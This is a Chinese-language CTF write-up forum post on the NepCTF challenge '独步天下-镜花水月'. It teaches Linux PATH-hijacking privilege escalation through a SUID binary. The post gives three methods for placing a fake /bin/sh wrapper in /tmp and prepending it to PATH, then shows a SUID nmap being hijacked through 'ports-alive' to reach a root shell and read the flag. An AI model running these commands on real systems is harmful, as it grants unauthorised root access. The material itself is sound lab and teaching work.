NepCTF-独步天下-镜花水月

sbhglqy   ·   发表于 2023-08-28 19:58:10   ·   CTF&WP专版

这题考察的是linux的环境变量提权。

相关知识点

环境变量

在Linux系统中,环境变量是用来定义系统运行环境的一些参数,比如每个用户不同的home目录。最常见的环境变量就是$PATH,查看一下$PATH具有有哪些内容。


上面echo的路径都是一些可以找到可执行程序的目录列表。当我们输入一个指令时,shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中寻找这些应用程序。

SUID权限和SGID权限

SUID权限是一种特殊的文件权限。当一个文件被赋予了SUID权限,其他用户在执行这个文件时,其权限会暂时提升到该文件所有者的权限。这在某些需要高级权限才能执行的操作中非常有用。比如,passwd命令就需要SUID权限,因为它需要修改系统的密码文件,通常需要root权限。
SGID权限与SUID权限类似,但它影响的是文件的组权限而不是所有者权限。当一个文件被赋予了SGID权限,其他用户在执行这个文件时,其权限会暂时提升到该文件所属组的权限。

环境变量提权

当我们找到了具有SUID权限的文件,用户的环境变量可以自定义,那我们让另一个位置的环境配置在当前环境之前,就可以进行环境变量的劫持了。
有以下三种方法:
    1. echo命令法
    ```shell
    echo "/bin/bash" > /tmp/su
    chmod 777 /tmp/su
    echo $PATH
    export PATH=/tmp:$PATH
    ```
    2. cp法
    ```shell
    cp /bin/sh /tmp/su
    export PATH=/tmp:$PATH
    ```
    3. 软链接法
    ```shell
    ln -s /bin/sh /tmp/su
    export PATH=/tmp:$PATH
    ```

以上三种方法的总体思路就是把/bin/sh写入到另一个文件中,然后将当前文件所在的目录加入到环境变量中。进入到当前文件所在目录,执行当前文件就相当于执行/bin/sh,然后就可以以root权限运行了,提权成功。

知识点讲完,回到题目。

做题步骤

  1. 找到具有SUID权限的文件。
    find / -perm -u=s -type f 2>/dev/null
    找到唯一的具有suid权限的文件:nmap。
    -rwsr-xr-x 1 root root 931712 Jul 17 09:46 /bin/nmap

  2. 执行一下nmap,发现nmap会调用ports-alive文件。

    /bin $ nmap 123
    nmap 123
    sh: ports-alive: not found
    
  3. 于是我们在/tmp目录下,将/bin/sh写入ports-alive,并且将/tmp加入环境变量。

    cd /tmp
    echo "/bin/sh" > ports-alive
    chmod +x ports-alive
    export PATH=/tmp:$PATH
    
  4. 接着返回/bin目录,运行一下nmap,这时由于他会去调用ports-alive,所以先去环境变量中找到了/tmp目录下的ports-alive,结果执行了/bin/sh,获得root权限。既然有了root权限,还怕找不到flag吗。

    /bin $ ./nmap 123
    ./nmap 123
    /bin # whoami
    whoami
    root # 提权到root
    /bin # cat /flag
    cat /flag
    flag{xxxxxxx}
    

打赏我,让我更有动力~

1 条回复   |  直到 7个月前 | 305 次浏览

Track-魔方
发表于 7个月前

金币奖励与文章 “NepCTF-ez_java_checkin” 放在一起打赏,期待同学能有更多的实战相关文章产出~

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.